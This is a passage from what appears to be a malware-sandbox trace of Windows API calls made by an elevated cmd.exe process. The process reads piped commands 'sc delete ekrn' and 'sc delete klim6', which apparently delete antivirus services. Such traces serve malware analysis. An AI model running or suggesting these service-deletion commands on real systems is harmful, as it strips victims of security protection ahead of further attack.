lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.068] GetEnvironmentStringsW () returned 0x1d1b10* [0067.068] GetProcessHeap () returned 0x1b0000 [0067.068] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.068] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.068] GetProcessHeap () returned 0x1b0000 [0067.068] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.068] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.068] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.069] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.069] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.069] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.069] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.069] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.069] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.069] GetConsoleOutputCP () returned 0x1b5 [0067.069] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.069] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.070] GetProcessHeap () returned 0x1b0000 [0067.070] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.070] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.070] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.070] GetFileType (hFile=0x120) returned 0x3 [0067.071] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.071] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.071] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.071] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.071] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.071] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.071] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.071] GetFileType (hFile=0x120) returned 0x3 [0067.071] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.071] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.071] GetFileType (hFile=0xb8) returned 0x3 [0067.071] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.071] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.071] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.072] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.072] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.072] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.073] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.073] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.073] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.073] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="kkrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="in\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="m\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.075] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.075] GetFileType (hFile=0xb8) returned 0x3 [0067.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.075] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.075] GetFileType (hFile=0x120) returned 0x3 [0067.075] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klim6\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klim6\n", lpUsedDefaultChar=0x0) returned 17 [0067.076] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x10, lpOverlapped=0x0) returned 1 [0067.076] GetProcessHeap () returned 0x1b0000 [0067.076] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.076] GetProcessHeap () returned 0x1b0000 [0067.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.076] GetProcessHeap () returned 0x1b0000 [0067.076] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.076] GetProcessHeap () returned 0x1b0000 [0067.076] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.076] GetProcessHeap () returned 0x1b0000 [0067.076] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2c) returned 0x1c6510 [0067.076] GetConsoleOutputCP () returned 0x1b5 [0067.076] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.076] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.077] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.077] GetProcessHeap () returned 0x1b0000 [0067.077] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.077] GetProcessHeap () returned 0x1b0000 [0067.077] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6550 [0067.077] GetProcessHeap () returned 0x1b0000 [0067.077] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0067.077] SetErrorMode (uMode=0x0) returned 0x1 [0067.077] SetErrorMode (uMode=0x1) returned 0x0 [0067.077] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.077] SetErrorMode (uMode=0x1) returned 0x1 [0067.077] GetProcessHeap () returned 0x1b0000 [0067.077] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0067.077] GetProcessHeap () returned 0x1b0000 [0067.077] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0067.078] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.078] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.078] GetProcessHeap () returned 0x1b0000 [0067.078] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.078] GetProcessHeap () returned 0x1b0000 [0067.078] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.078] GetProcessHeap () returned 0x1b0000 [0067.078] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.078] GetProcessHeap () returned 0x1b0000 [0067.078] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.078] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.078] GetProcessHeap () returned 0x1b0000 [0067.078] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.078] GetProcessHeap () returned 0x1b0000 [0067.078] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.078] GetProcessHeap () returned 0x1b0000 [0067.078] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.078] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.079] GetLastError () returned 0x2 [0067.079] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.079] GetLastError () returned 0x2 [0067.079] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.079] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.079] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.079] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.079] GetLastError () returned 0x2 [0067.079] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.080] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.080] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.080] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.080] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.080] GetProcessHeap () returned 0x1b0000 [0067.080] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.080] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.080] GetProcessHeap () returned 0x1b0000 [0067.080] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x98) returned 0x1c9180 [0067.080] GetProcessHeap () returned 0x1b0000 [0067.080] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x98 [0067.080] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klim6") returned 1 [0067.081] GetProcessHeap () returned 0x1b0000 [0067.081] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.081] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.081] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.081] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.081] GetProcessHeap () returned 0x1b0000 [0067.081] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.081] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.081] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0067.081] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.081] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", 